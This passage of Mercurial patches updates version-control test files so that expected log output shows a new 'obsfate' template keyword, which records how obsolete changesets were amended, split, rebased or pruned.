-  | x  2:ef908e42ce65 c_B0 [rewritten using amend, rebase as 6:956063ac4557 by bob (at 1970-01-01 00:00 +0000); ]
+  | x  2:ef908e42ce65 c_B0 [rewritten using amend, rebase as 6:956063ac4557 by bob (at 1970-01-01 00:00 +0000)]
   | |
-  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 5:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000); ]
+  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 5:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000)]
   |/
   @  0:e82fb8d02bbf ROOT
   
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -7,7 +7,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [ui]
-  > logtemplate = {rev}:{node|short} {desc}\n
+  > logtemplate = {rev}:{node|short} {desc}{if(obsfate, " [{join(obsfate, "; ")}]")}\n
   > [experimental]
   > stabilization=createmarkers
   > [extensions]
@@ -66,7 +66,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -127,11 +127,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
   |/
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 base
   
@@ -185,7 +185,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -259,11 +259,11 @@
   $ hg log -G --hidden
   @  4:01f36c5a8fda A_3
   |
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [rewritten as 2:82623d38b9ba by test (at 1970-01-01 00:00 +0000); rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 base
   
@@ -309,7 +309,7 @@
   |
   | o  2:82623d38b9ba A_1
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -361,15 +361,15 @@
   $ hg log -G --hidden
   @  6:e442cfc57690 A_5
   |
-  | x  5:6a411f0d7a0a A_4
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 by test (at 1970-01-01 00:00 +0000)]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 base
   
@@ -437,19 +437,19 @@
   |/
   | o  8:7ae126973a96 A_7
   |/
-  | x  7:3750ebee865d B_0
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   | |
-  | x  6:e442cfc57690 A_5
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a by test (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  5:6a411f0d7a0a A_4
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 by test (at 1970-01-01 00:00 +0000)]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
@@ -535,25 +535,25 @@
   $ hg log -G --hidden
   o  11:a139f71be9da A_A
   |
-  | x  10:bed64f5d2f5a A_9
+  | x  10:bed64f5d2f5a A_9 [rewritten as 11:a139f71be9da by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  9:14608b260df8 A_8
+  | x  9:14608b260df8 A_8 [rewritten as 11:a139f71be9da by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  8:7ae126973a96 A_7
+  | x  8:7ae126973a96 A_7 [rewritten as 11:a139f71be9da by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  7:3750ebee865d B_0
+  | x  7:3750ebee865d B_0 [rewritten as 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   | |
-  | x  6:e442cfc57690 A_5
+  | x  6:e442cfc57690 A_5 [rewritten as 10:bed64f5d2f5a by test (at 1970-01-01 00:00 +0000); split as 8:7ae126973a96, 9:14608b260df8 by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  5:6a411f0d7a0a A_4
+  | x  5:6a411f0d7a0a A_4 [rewritten as 6:e442cfc57690 by test (at 1970-01-01 00:00 +0000)]
   |/
   | o  4:01f36c5a8fda A_3
   |/
-  | x  3:392fd25390da A_2
+  | x  3:392fd25390da A_2 [rewritten as 5:6a411f0d7a0a by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  2:82623d38b9ba A_1
+  | x  2:82623d38b9ba A_1 [rewritten as 4:01f36c5a8fda by test (at 1970-01-01 00:00 +0000)]
   |/
-  | x  1:007dc284c1f8 A_0
+  | x  1:007dc284c1f8 A_0 [split as 2:82623d38b9ba, 3:392fd25390da by test (at 1970-01-01 00:00 +0000)]
   |/
   @  0:d20a80d4def3 base
   
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -3,7 +3,7 @@
   > # public changeset are not obsolete
   > publish=false
   > [ui]
-  > logtemplate="{rev}:{node|short} ({phase}{if(obsolete, ' *{obsolete}*')}{if(instabilities, ' {instabilities}')}) [{tags} {bookmarks}] {desc|firstline}\n"
+  > logtemplate="{rev}:{node|short} ({phase}{if(obsolete, ' *{obsolete}*')}{if(instabilities, ' {instabilities}')}) [{tags} {bookmarks}] {desc|firstline}{if(obsfate, " [{join(obsfate, "; ")}]")}\n"
   > EOF
   $ mkcommit() {
   >    echo "$1" > "$1"
@@ -159,9 +159,9 @@
   5:5601fb93a350 (draft) [tip ] add new_3_c
   $ hg heads --hidden
   5:5601fb93a350 (draft) [tip ] add new_3_c
-  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c
-  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c
-  2:245bde4270cd (draft *obsolete*) [ ] add original_c
+  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 by test (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
+  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 by test (at 1970-01-01 00:22 +0000)]
+  2:245bde4270cd (draft *obsolete*) [ ] add original_c [rewritten as 3:cdbce2fbb163 by test (at 1970-01-01 00:00 -0002)]
 
 
 check that summary does not report them
@@ -277,11 +277,11 @@
   $ hg log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 by test (at 1970-01-01 00:22 +0000)]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 by test (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 by test (at 1970-01-01 00:22 +0000)]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -435,11 +435,11 @@
   $ hg -R clone-dest log -G --hidden
   @  6:6f9641995072 (draft) [tip ] add n3w_3_c
   |
-  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c
+  | x  5:5601fb93a350 (draft *obsolete*) [ ] add new_3_c [rewritten as 6:6f9641995072 by test (at 1970-01-01 00:22 +0000)]
   |/
-  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c
+  | x  4:ca819180edb9 (draft *obsolete*) [ ] add new_2_c [rewritten as 5:5601fb93a350 by test (between 1970-01-01 00:22 +0000 and 1970-01-01 00:22 +0000)]
   |/
-  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c
+  | x  3:cdbce2fbb163 (draft *obsolete*) [ ] add new_c [rewritten as 4:ca819180edb9 by test (at 1970-01-01 00:22 +0000)]
   |/
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -520,7 +520,7 @@
   $ hg debugobsolete | grep `getid original_d`
   94b33453f93bdb8d457ef9b770851a618bf413e1 0 {6f96419950729f3671185b847352890f074f7557} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
   $ hg log -r 'obsolete()'
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
   $ hg summary
   parent: 5:cda648ca50f5 tip (orphan)
    add original_e
@@ -532,7 +532,7 @@
   $ hg log -G -r '::orphan()'
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -571,7 +571,7 @@
   1:7c3bad9141dc (public) [ ] add b
   2:245bde4270cd (public) [ ] add original_c
   3:6f9641995072 (draft) [ ] add n3w_3_c
-  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
   5:cda648ca50f5 (draft orphan) [tip ] add original_e
   $ hg push ../tmpf -f # -f because be push unstable too
   pushing to ../tmpf
@@ -595,7 +595,7 @@
   $ hg log -G
   @  5:cda648ca50f5 (draft orphan) [tip ] add original_e
   |
-  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
   |
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -636,9 +636,9 @@
   $ hg log --hidden --graph
   @  6:3de5eca88c00 (draft) [tip ] add obsolete_e
   |
-  | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e
+  | x  5:cda648ca50f5 (draft *obsolete*) [ ] add original_e [rewritten as 6:3de5eca88c00 by test <test@example.net> (at 1970-01-01 00:00 +0000)]
   | |
-  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d
+  | x  4:94b33453f93b (draft *obsolete*) [ ] add original_d [pruned by test (at 1970-01-01 00:00 +0000)]
   |/
   o  3:6f9641995072 (draft) [ ] add n3w_3_c
   |
@@ -928,7 +928,7 @@
 test the "obsolete" templatekw
 
   $ hg log -r 'obsolete()'
-  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e
+  6:3de5eca88c00 (draft *obsolete*) [ ] add obsolete_e [pruned by test (at 1970-01-01 00:00 +0000)]
 
 test the "troubles" templatekw
 
@@ -1098,7 +1098,7 @@
   $ hg log -G
   @  2:323a9c3ddd91 (draft) [tip ] A
   |
-  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A
+  | x  1:29f0c6921ddd (draft *obsolete*) [visible ] A [rewritten using amend as 2:323a9c3ddd91 by test (at 1970-01-01 00:00 +0000)]
   |/
   o  0:d20a80d4def3 (draft) [ ] base
   
@@ -1152,7 +1152,7 @@
   $ hg log -G --hidden
   @  2:b7d587542d40 (draft) [tip ] B+
   |
-  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B
+  | x  1:44526ebb0f98 (draft *obsolete*) [ ] B [rewritten using amend as 2:b7d587542d40 by test (at 1970-01-01 00:00 +0000)]
   |/
   o  0:4b34ecfb0d56 (draft) [ ] A
   
@@ -1279,7 +1279,7 @@
   $ hg commit --amend -m "message"
   $ hg book bookb -r 13bedc178fce --hidden
   $ hg log -r 13bedc178fce
-  4:13bedc178fce (draft *obsolete*) [ bookb] add b
+  4:13bedc178fce (draft *obsolete*) [ bookb] add b [rewritten using amend as 5:a9b1f8652753 by test (at 1970-01-01 00:00 +0000)]
   $ hg book -d bookb
   $ hg log -r 13bedc178fce
   abort: hidden revision '13bedc178fce'!
@@ -1319,7 +1319,7 @@
   $ hg log -G --hidden
   @  3:b0551702f918 (draft) [tip ] 2
   |
-  | x  2:e008cf283490 (draft *obsolete*) [ ] 2
+  | x  2:e008cf283490 (draft *obsolete*) [ ] 2 [rewritten using amend as 3:b0551702f918 by test (at 1970-01-01 00:00 +0000)]
   |/
   o  1:e016b03fd86f (draft) [ ] 1
   |
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507302949 -7200
#      Fri Oct 06 17:15:49 2017 +0200
# Node ID 6a6371d2970eeefd4174160999483c36dec89541
# Parent  e27f1f04c2cfd79cc2f4ce5d097011abdb5eb6de
test: test obfate template keyword in test-obsmarker-template.t

These test updates are pretty big by themselves so put it in a separate patch
for easing the review process.

diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -29,6 +29,7 @@
   >     {if(successorssets, "\n  json: {successorssets|json}")}\n'
   > fatelog = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers % "{obsfatetempl}"} \n" )}'
   > fatelogjson = log -G -T '{node|short}\n{if(succsandmarkers, "  Obsfate: {succsandmarkers|json}\n")}'
+  > fatelogkw = log -G -T '{node|short}\n{if(obsfate, "{obsfate % "  Obsfate: {fate}\n"}")}'
   > EOF
 
 Test templates on amended commit
@@ -94,6 +95,14 @@
   |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000);
   o  ea207398892e
   
+
+  $ hg fatelogkw
+  o  d004c8f274b9
+  |
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test, test2 (between 2001-04-19 04:25 +0000 and 2009-02-13 23:31 +0000)
+  o  ea207398892e
+  
   $ hg up 'desc(A1)' --hidden
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -202,6 +211,37 @@
   |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"], 0, [["operation", "amend"], ["user", "test"]], [1234567890.0, 0], null]], "successors": ["a468dc9b36338b14fdb7825f55ce3df4e71517ad"]}]
   o  ea207398892e
   
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  d004c8f274b9
+  |
+  | x  a468dc9b3633
+  |/     Obsfate: rewritten using amend as 3:d004c8f274b9 by test2 (at 2001-04-19 04:25 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:a468dc9b3633 by test (at 2009-02-13 23:31 +0000)
+  o  ea207398892e
+  
 Test templates with splitted commit
 ===================================
 
@@ -345,6 +385,37 @@
   |/     Obsfate: [{"markers": [["471597cad322d1f659bb169751be9133dad92ef3", ["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["337fec4d2edcf0e7a467e35f818234bc620068b5", "f257fde29c7a847c9b607f6e958656d0df0fb15c"]}]
   o  ea207398892e
   
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  f257fde29c7a
+  |
+  o  337fec4d2edc
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:337fec4d2edc, 3:f257fde29c7a by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+
 Test templates with folded commit
 =================================
 
@@ -516,6 +587,36 @@
   |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["eb5a0daa21923bbf8caeb2c42085b9e463861fd0"]}]
   o  ea207398892e
   
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  eb5a0daa2192
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 3:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
 
 Test templates with divergence
 ==============================
@@ -716,6 +817,46 @@
   o  ea207398892e
   
 
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000)
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000)
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  o  019fadeab383
+  |
+  | x  65b757b745b9
+  |/     Obsfate: rewritten using amend as 4:019fadeab383 by test (at 1970-01-01 00:00 +0000)
+  | @  fdf9bde5129a
+  |/
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+
 Test templates with amended + folded commit
 ===========================================
 
@@ -947,6 +1088,43 @@
   o  ea207398892e
   
 
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  eb5a0daa2192
+  |
+  | x  b7ea6d14e664
+  | |    Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  | | x  0dec01379d3b
+  | |/     Obsfate: rewritten using amend as 3:b7ea6d14e664 by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 4:eb5a0daa2192 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+
 Test template with pushed and pulled obs markers
 ================================================
 
@@ -1097,6 +1275,31 @@
   o  ea207398892e
   
 
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  7a230b46bf61
+  |
+  | x  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:7a230b46bf61 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+
 Test template with obsmarkers cycle
 ===================================
 
@@ -1234,6 +1437,41 @@
   |      json: [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"]]
   @  ea207398892e
   
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  @  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  @  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  @  ea207398892e
+  
+
 Test template with split + divergence with cycles
 =================================================
 
@@ -1583,6 +1821,84 @@
   |
   o  ea207398892e
   
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  | x  ba2ed02b0c9a
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000)
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000)
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000)
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  | x  ba2ed02b0c9a
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000)
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000)
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000)
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  | x  ba2ed02b0c9a
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000)
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000)
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000)
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
 Test templates with pruned commits
 ==================================
 
@@ -1656,6 +1972,39 @@
